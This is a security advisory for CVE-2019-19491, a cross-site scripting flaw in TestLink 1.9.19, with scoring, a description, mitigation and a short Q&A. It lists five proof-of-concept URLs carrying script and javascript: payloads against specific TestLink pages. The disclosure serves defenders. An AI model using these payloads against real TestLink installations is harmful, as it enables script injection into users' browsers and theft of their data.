Vulnerability identifier: #VU24456

Vulnerability risk: Low

CVSSv3.1: 5.3 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:U/RL:O/RC:C]

CVE-ID: CVE-2019-19491

CWE-ID: CWE-79

Exploitation vector: Network

Exploit availability: No

Vulnerable software:
TestLink
Web applications / CMS

Vendor: testlink.org

Description

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data when processing multiple parameters. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Vulnerable pages:

https://[host]/testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3

https://[host]/testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3

https://[host]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&nsextt=%3cscRipt%3ealert(0x00A5CA)%3c%2fscRipt%3e&show_mode=editDisabled&step_id=

https://[host]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&%3cscRipt%3ealert(0x00A5CE)%3c%2fscRipt%3e=nsextt&show_mode=editDisabled

https://[host]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&show_mode=%3cscRipt%3ealert(0x00A54D)%3c%2fscRipt%3e&step_id=

Mitigation
Install update from vendor's website.

Vulnerable software versions

TestLink: 1.9.19

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External links
http://www.exploit-db.com/exploits/47702

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Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability.